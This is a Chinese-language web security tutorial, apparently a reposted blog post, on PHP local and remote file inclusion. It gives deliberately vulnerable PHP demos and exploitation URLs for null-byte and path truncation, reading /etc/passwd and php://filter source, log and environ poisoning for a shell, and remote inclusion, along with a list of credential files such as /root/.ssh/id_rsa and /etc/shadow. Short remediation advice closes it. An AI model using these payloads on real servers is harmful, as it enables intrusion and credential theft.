任意檔案包含漏洞
阿新 • • 發佈:2018-12-23
松鼠說web安全之檔案包含
無需言,做自己。
0x01 漏洞成因
通過引入檔案時,引用的檔名,使用者可控,由於傳入的檔名沒有經過合理的校驗,或者檢驗被繞過,從而操作了預想之外的檔案,就可能導致意外的檔案洩露甚至惡意的程式碼注入。- 本地檔案包含漏洞
- 遠端檔案包含漏洞。
條件: php.ini中配置項:
allow_url_fopen ON
allow_url_include ON
0x02 PHP中常見的檔案包含函式
- include():當使用該函式包含檔案時,只有程式碼執行到include()函式是才將檔案包含進來,發生錯誤時只給出一個警告,繼續向下執行
- include_once():功能和include()相同,區別在於當重複呼叫同意檔案時,程式只調用一次
- requier(): 使用require函式包含檔案時,只要程式一執行,立即呼叫指令碼;如果前者執行發生錯誤,函式或輸出錯誤資訊,並終止指令碼執行
- require_once():功能與require()相同,區別在於當重複呼叫同一檔案時,程式只調用一次
總結:
(1) include() 執行到該函式時才會包含檔案,而require() 程式一執行就載入檔案;
(2) ***_once() 已載入的不重複載入
0x30 漏洞危害
- 執行任意指令碼程式碼
- 控制網站
- 控制伺服器
0x40 漏洞利用
本地檔案包含
- 上傳圖片,包含圖片Getshell
- 讀檔案,讀PHP檔案
- 包含日誌檔案GetShell
- 包含/proc/self/environ檔案GetShell
- 如果有phpinfo可以包含臨時檔案
- 包含data:// 或者 php://input 等協議(需要allow_url_include=on)
1、包含圖片的檔案上傳
demo1 show.php:
<?php if($_GET['page']){ include($_GET['page']); }else{ include("show.php"); } ?>
上傳圖片 1_php.jpg
<?php
phpinfo();
?>
測試:
http://localhost/code_inject/1/show.php?page=upload/20160801155130.jpg
demo2 show.php:
<?php
if($_GET['page']){
include("./action/".$_GET['page']);
}else{
include("./action/show.php");
}
?>
http://localhost/code_inject/2/show.php?page=../upload/20160801155526.jpg
demo3 show.php:
<?php
if($_GET['page']){
include("./action/".$_GET['page'].".php");
}else{
include("./action/show.php");
}
?>
http://localhost/code_inject/3/show.php?page=../upload/20160801155718.jpg%00
2、“%00”截斷的方式
讀取/etc/passwd檔案:/etc/passwd%00
條件:php.ini 中需要 magic_quotes_gpc = off,PHP小於5.3.4有效
3、路徑長度截斷
/etc/passwd/./././././.[...]/./././.
條件:PHP版本小於5.2.8(?)可以成功,linux需要檔名長於4096,window需要長於256
4、讀檔案
index.php?file=/etc/passwd
5、敏感檔案:
<code class="hljs avrasm has-numbering">/root/<span class="hljs-preprocessor">.ssh</span>/authorized_keys /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.keystore</span> /root/<span class="hljs-preprocessor">.ssh</span>/id_rsa<span class="hljs-preprocessor">.pub</span> /root/<span class="hljs-preprocessor">.ssh</span>/known_hosts /etc/shadow /root/<span class="hljs-preprocessor">.bash</span>_history /root/<span class="hljs-preprocessor">.mysql</span>_history /proc/self/fd/fd[<span class="hljs-number">0</span>-<span class="hljs-number">9</span>]* (檔案識別符號) /proc/mounts /proc/config<span class="hljs-preprocessor">.gz</span></code>
6、讀取PHP檔案
index.php?file=php://filter/read=convert.dase64.encode/resource=index.php
7、包含日誌檔案GetShell (需要一定的讀取許可權)
首先要找到日誌檔案的存放位置
- 檔案包含漏洞去讀取apache的配置檔案
- index.php?page=/etc/init.d/httpd
- index.php?page=/etc/httpd/conf/httpd.conf
- 預設位置 /var/log/httpd/access_log
讓日誌檔案插入PHP程式碼
- burpsuite抓包改包
- curl發包
- php程式碼插入到get請求部分或者user_agent部分
包含日誌檔案
index.php?page=/var/log/httpd/access_log
8、包含環境變數GetShell
需要PHP執行在CGI模式,然後和包含日誌檔案一樣,在User_agent中修改成payload
遠端檔案包含
條件:
php.ini 中配置項
alow_url_fopen ON
allow_url_include ON
- 遠端伺服器存在一個txt檔案,或者一個不被當前伺服器解析的php檔案(包含的時候 包含的是返回的php原始碼,所以php原始碼不能被解析)
- index.php?page=http://www.xx.com/1/txt
0x05 漏洞挖掘
- 特定的CMS,特定的版本可能存在漏洞
- web漏洞掃描器掃描,常見web漏洞掃描器都支援檔案包含漏洞的檢測
0x06 漏洞修復
- php中可以使用 open_basedir配置限制訪問許可權在指定區域
- 過濾 . (點) / (斜槓) \ (反斜槓)
- 禁止伺服器遠端檔案包含
補充:
appache日誌檔案預設在
/etc/httpd/logs/access_log
或者
/var/log/httpd/access_logs
也可以找到apache的配置檔案,通過配置檔案找齊日誌檔案路徑:
/etc/httpd/conf/httpd或者
/etc/init.d/httpd
nginx日誌檔案預設在:
安裝目錄logs目錄下
以我的安裝路徑為例/usr/local/nginx ------ 日誌目錄就是在/usr/local/nginx/logs裡
window 2003+iis6.0 日誌檔案預設放在
C:\WINDOWS\system32\Logfiles
配置檔案預設在
C:\Windows/system32\inetsrv\metabase.xml
iis 7日誌檔案預設在
%SystemDrive%\inetpub\logs\LogFiles
配置檔案預設目錄
C:\Windows\System\inetsrv\config\applicationHost.config